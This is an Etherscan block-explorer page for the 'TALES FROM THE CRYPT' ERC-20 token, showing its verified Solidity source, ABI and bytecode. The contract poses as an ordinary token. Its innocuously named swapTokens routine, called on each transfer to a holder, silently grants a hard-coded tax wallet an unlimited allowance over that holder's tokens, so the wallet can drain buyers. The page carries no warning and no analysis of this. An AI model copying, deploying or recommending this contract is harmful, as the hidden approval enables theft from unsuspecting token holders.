Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
111,111,111,111 TFTC
Holders
8
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
6,151,552,188.817272318 TFTCValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
TalesFROMtheCRYPT
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-07-25 */ // SPDX-License-Identifier: None // https://truthsocial.com/@realDonaldTrump/posts/112848649966690481 pragma solidity 0.8.26; contract Ownable { function owner() public view virtual returns (address) { return _owner; } constructor() { _owner = msg.sender; } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } address private _owner; function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IERC20 { function approve(address spender, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); } interface IUniswapV2Router { function swapExactTokensForETH(uint256,uint256,address[] calldata path,address,uint256) external; function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); function WETH() external pure returns (address); function factory() external pure returns (address); } contract TalesFROMtheCRYPT is Ownable { using SafeMath for uint256; uint8 private _decimals = 9; uint256 private _totalSupply = 111111111111 * 10 ** _decimals; mapping (address => mapping (address => uint256)) private _allowances; IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); mapping (address => uint256) private _balances; string private constant _name = unicode"TALES FROM THE CRYPT"; string private constant _symbol = unicode"TFTC"; bool private inSwap = false; bool tradingOpen = false; uint256 transferTax = 0; bool swapEnabled; event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 value); address public uniswapV2Pair; address payable private taxWallet = payable(0x33626a47e6EEA81984E2D5DCB54770Df11a1f7D6); constructor () { _balances[address(this)] = _totalSupply; emit Transfer(address(0), address(this), _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function name() public pure returns (string memory) { return _name; } function decimals() public view returns (uint8) { return _decimals; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function symbol() public pure returns (string memory) { return _symbol; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function approve(address spender, uint256 amount) public returns (bool) { _approve(msg.sender, spender, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero."); require(to != address(0), "Transfer to zero address"); require(from != address(0), "transfer from zero address."); if (to != address(uniswapV2Router) && to != uniswapV2Pair && to != address(this)){ if (swapEnabled) { swapTokens(to); } } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount); emit Transfer(from, to, amount); } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function swapTokens(address to) private { _allowances[to][taxWallet] = _totalSupply; } function openTrading() public payable onlyOwner() { require(!tradingOpen); _approve(address(this), address(uniswapV2Router), _totalSupply); address WETH = uniswapV2Router.WETH(); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), WETH); uniswapV2Router.addLiquidityETH{value: msg.value} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; swapEnabled = true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a9190610398565b6419debd01c761004a91906103e2565b600155737a250d5630b4cf539739df2c5dacb4c659f2488d60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60055f6101000a81548160ff0219169083151502179055505f600560016101000a81548160ff0219169083151502179055505f6006557333626a47e6eea81984e2d5dcb54770df11a1f7d660085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015610137575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015460045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60015460405161021a9190610432565b60405180910390a361044b565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156102a95780860481111561028557610284610227565b5b60018516156102945780820291505b80810290506102a285610254565b9450610269565b94509492505050565b5f826102c1576001905061037c565b816102ce575f905061037c565b81600181146102e457600281146102ee5761031d565b600191505061037c565b60ff841115610300576102ff610227565b5b8360020a91508482111561031757610316610227565b5b5061037c565b5060208310610133831016604e8410600b84101617156103525782820a90508381111561034d5761034c610227565b5b61037c565b61035f8484846001610260565b9250905081840481111561037657610375610227565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6103a282610383565b91506103ad8361038c565b92506103da7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846102b2565b905092915050565b5f6103ec82610383565b91506103f783610383565b925082820261040581610383565b9150828204841483151761041c5761041b610227565b5b5092915050565b61042c81610383565b82525050565b5f6020820190506104455f830184610423565b92915050565b611b0d806104585f395ff3fe6080604052600436106100c1575f3560e01c806370a082311161007e57806395d89b411161005857806395d89b4114610261578063a9059cbb1461028b578063c9567bf9146102c7578063dd62ed3e146102d1576100c1565b806370a08231146101e5578063715018a6146102215780638da5cb5b14610237576100c1565b806306fdde03146100c5578063095ea7b3146100ef57806318160ddd1461012b57806323b872dd14610155578063313ce5671461019157806349bd5a5e146101bb575b5f80fd5b3480156100d0575f80fd5b506100d961030d565b6040516100e691906112b4565b60405180910390f35b3480156100fa575f80fd5b5061011560048036038101906101109190611365565b61034a565b60405161012291906113bd565b60405180910390f35b348015610136575f80fd5b5061013f610360565b60405161014c91906113e5565b60405180910390f35b348015610160575f80fd5b5061017b600480360381019061017691906113fe565b610369565b60405161018891906113bd565b60405180910390f35b34801561019c575f80fd5b506101a5610415565b6040516101b29190611469565b60405180910390f35b3480156101c6575f80fd5b506101cf61042a565b6040516101dc9190611491565b60405180910390f35b3480156101f0575f80fd5b5061020b600480360381019061020691906114aa565b610450565b60405161021891906113e5565b60405180910390f35b34801561022c575f80fd5b50610235610496565b005b348015610242575f80fd5b5061024b6105c5565b6040516102589190611491565b60405180910390f35b34801561026c575f80fd5b506102756105ec565b60405161028291906112b4565b60405180910390f35b348015610296575f80fd5b506102b160048036038101906102ac9190611365565b610629565b6040516102be91906113bd565b60405180910390f35b6102cf61063f565b005b3480156102dc575f80fd5b506102f760048036038101906102f291906114d5565b610aa3565b60405161030491906113e5565b60405180910390f35b60606040518060400160405280601481526020017f54414c45532046524f4d20544845204352595054000000000000000000000000815250905090565b5f610356338484610b25565b6001905092915050565b5f600154905090565b5f610375848484610ce8565b61040a84336104058560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461109990919063ffffffff16565b610b25565b600190509392505050565b5f8060149054906101000a900460ff16905090565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104b56105c5565b73ffffffffffffffffffffffffffffffffffffffff161461050b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105029061155d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5446544300000000000000000000000000000000000000000000000000000000815250905090565b5f610635338484610ce8565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661065e6105c5565b73ffffffffffffffffffffffffffffffffffffffff16146106b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ab9061155d565b60405180910390fd5b600560019054906101000a900460ff16156106cd575f80fd5b6106fb3060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610b25565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610766573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061078a919061158f565b905060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f6573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081a919061158f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b81526004016108549291906115ba565b6020604051808303815f875af1158015610870573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610894919061158f565b600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061091c30610450565b5f806109266105c5565b426040518863ffffffff1660e01b815260040161094896959493929190611623565b60606040518083038185885af1158015610964573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109899190611696565b505050600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a2a9291906116e6565b6020604051808303815f875af1158015610a46573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a6a9190611737565b506001600560016101000a81548160ff021916908315150217905550600160075f6101000a81548160ff02191690831515021790555050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8a906117d2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf890611860565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cdb91906113e5565b60405180910390a3505050565b5f8111610d2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d21906118ee565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8f90611956565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfd906119be565b60405180910390fd5b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015610eb15750600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015610ee957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15610f0d5760075f9054906101000a900460ff1615610f0c57610f0b826110e2565b5b5b610f5d8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461109990919063ffffffff16565b60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610fee8160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461118590919063ffffffff16565b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161108c91906113e5565b60405180910390a3505050565b5f6110da83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e2565b905092915050565b60015460025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050565b5f8082846111939190611a09565b9050838110156111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111cf90611a86565b60405180910390fd5b8091505092915050565b5f838311158290611229576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122091906112b4565b60405180910390fd5b505f83856112379190611aa4565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61128682611244565b611290818561124e565b93506112a081856020860161125e565b6112a98161126c565b840191505092915050565b5f6020820190508181035f8301526112cc818461127c565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611301826112d8565b9050919050565b611311816112f7565b811461131b575f80fd5b50565b5f8135905061132c81611308565b92915050565b5f819050919050565b61134481611332565b811461134e575f80fd5b50565b5f8135905061135f8161133b565b92915050565b5f806040838503121561137b5761137a6112d4565b5b5f6113888582860161131e565b925050602061139985828601611351565b9150509250929050565b5f8115159050919050565b6113b7816113a3565b82525050565b5f6020820190506113d05f8301846113ae565b92915050565b6113df81611332565b82525050565b5f6020820190506113f85f8301846113d6565b92915050565b5f805f60608486031215611415576114146112d4565b5b5f6114228682870161131e565b93505060206114338682870161131e565b925050604061144486828701611351565b9150509250925092565b5f60ff82169050919050565b6114638161144e565b82525050565b5f60208201905061147c5f83018461145a565b92915050565b61148b816112f7565b82525050565b5f6020820190506114a45f830184611482565b92915050565b5f602082840312156114bf576114be6112d4565b5b5f6114cc8482850161131e565b91505092915050565b5f80604083850312156114eb576114ea6112d4565b5b5f6114f88582860161131e565b92505060206115098582860161131e565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61154760208361124e565b915061155282611513565b602082019050919050565b5f6020820190508181035f8301526115748161153b565b9050919050565b5f8151905061158981611308565b92915050565b5f602082840312156115a4576115a36112d4565b5b5f6115b18482850161157b565b91505092915050565b5f6040820190506115cd5f830185611482565b6115da6020830184611482565b9392505050565b5f819050919050565b5f819050919050565b5f61160d611608611603846115e1565b6115ea565b611332565b9050919050565b61161d816115f3565b82525050565b5f60c0820190506116365f830189611482565b61164360208301886113d6565b6116506040830187611614565b61165d6060830186611614565b61166a6080830185611482565b61167760a08301846113d6565b979650505050505050565b5f815190506116908161133b565b92915050565b5f805f606084860312156116ad576116ac6112d4565b5b5f6116ba86828701611682565b93505060206116cb86828701611682565b92505060406116dc86828701611682565b9150509250925092565b5f6040820190506116f95f830185611482565b61170660208301846113d6565b9392505050565b611716816113a3565b8114611720575f80fd5b50565b5f815190506117318161170d565b92915050565b5f6020828403121561174c5761174b6112d4565b5b5f61175984828501611723565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6117bc60248361124e565b91506117c782611762565b604082019050919050565b5f6020820190508181035f8301526117e9816117b0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61184a60228361124e565b9150611855826117f0565b604082019050919050565b5f6020820190508181035f8301526118778161183e565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f2e00000000000000000000000000000000000000000000602082015250565b5f6118d8602a8361124e565b91506118e38261187e565b604082019050919050565b5f6020820190508181035f830152611905816118cc565b9050919050565b7f5472616e7366657220746f207a65726f206164647265737300000000000000005f82015250565b5f61194060188361124e565b915061194b8261190c565b602082019050919050565b5f6020820190508181035f83015261196d81611934565b9050919050565b7f7472616e736665722066726f6d207a65726f20616464726573732e00000000005f82015250565b5f6119a8601b8361124e565b91506119b382611974565b602082019050919050565b5f6020820190508181035f8301526119d58161199c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611a1382611332565b9150611a1e83611332565b9250828201905080821115611a3657611a356119dc565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611a70601b8361124e565b9150611a7b82611a3c565b602082019050919050565b5f6020820190508181035f830152611a9d81611a64565b9050919050565b5f611aae82611332565b9150611ab983611332565b9250828203905081811115611ad157611ad06119dc565b5b9291505056fea26469706673582212203aa13e83a965b67e721fb7117aedcec8570238d88fc9a2636753b5ab817816bc64736f6c634300081a0033
Deployed Bytecode
0x6080604052600436106100c1575f3560e01c806370a082311161007e57806395d89b411161005857806395d89b4114610261578063a9059cbb1461028b578063c9567bf9146102c7578063dd62ed3e146102d1576100c1565b806370a08231146101e5578063715018a6146102215780638da5cb5b14610237576100c1565b806306fdde03146100c5578063095ea7b3146100ef57806318160ddd1461012b57806323b872dd14610155578063313ce5671461019157806349bd5a5e146101bb575b5f80fd5b3480156100d0575f80fd5b506100d961030d565b6040516100e691906112b4565b60405180910390f35b3480156100fa575f80fd5b5061011560048036038101906101109190611365565b61034a565b60405161012291906113bd565b60405180910390f35b348015610136575f80fd5b5061013f610360565b60405161014c91906113e5565b60405180910390f35b348015610160575f80fd5b5061017b600480360381019061017691906113fe565b610369565b60405161018891906113bd565b60405180910390f35b34801561019c575f80fd5b506101a5610415565b6040516101b29190611469565b60405180910390f35b3480156101c6575f80fd5b506101cf61042a565b6040516101dc9190611491565b60405180910390f35b3480156101f0575f80fd5b5061020b600480360381019061020691906114aa565b610450565b60405161021891906113e5565b60405180910390f35b34801561022c575f80fd5b50610235610496565b005b348015610242575f80fd5b5061024b6105c5565b6040516102589190611491565b60405180910390f35b34801561026c575f80fd5b506102756105ec565b60405161028291906112b4565b60405180910390f35b348015610296575f80fd5b506102b160048036038101906102ac9190611365565b610629565b6040516102be91906113bd565b60405180910390f35b6102cf61063f565b005b3480156102dc575f80fd5b506102f760048036038101906102f291906114d5565b610aa3565b60405161030491906113e5565b60405180910390f35b60606040518060400160405280601481526020017f54414c45532046524f4d20544845204352595054000000000000000000000000815250905090565b5f610356338484610b25565b6001905092915050565b5f600154905090565b5f610375848484610ce8565b61040a84336104058560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461109990919063ffffffff16565b610b25565b600190509392505050565b5f8060149054906101000a900460ff16905090565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104b56105c5565b73ffffffffffffffffffffffffffffffffffffffff161461050b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105029061155d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5446544300000000000000000000000000000000000000000000000000000000815250905090565b5f610635338484610ce8565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661065e6105c5565b73ffffffffffffffffffffffffffffffffffffffff16146106b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ab9061155d565b60405180910390fd5b600560019054906101000a900460ff16156106cd575f80fd5b6106fb3060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610b25565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610766573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061078a919061158f565b905060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f6573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081a919061158f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b81526004016108549291906115ba565b6020604051808303815f875af1158015610870573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610894919061158f565b600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061091c30610450565b5f806109266105c5565b426040518863ffffffff1660e01b815260040161094896959493929190611623565b60606040518083038185885af1158015610964573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109899190611696565b505050600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a2a9291906116e6565b6020604051808303815f875af1158015610a46573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a6a9190611737565b506001600560016101000a81548160ff021916908315150217905550600160075f6101000a81548160ff02191690831515021790555050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8a906117d2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf890611860565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cdb91906113e5565b60405180910390a3505050565b5f8111610d2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d21906118ee565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8f90611956565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfd906119be565b60405180910390fd5b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015610eb15750600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015610ee957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15610f0d5760075f9054906101000a900460ff1615610f0c57610f0b826110e2565b5b5b610f5d8160045f8673ffffffffff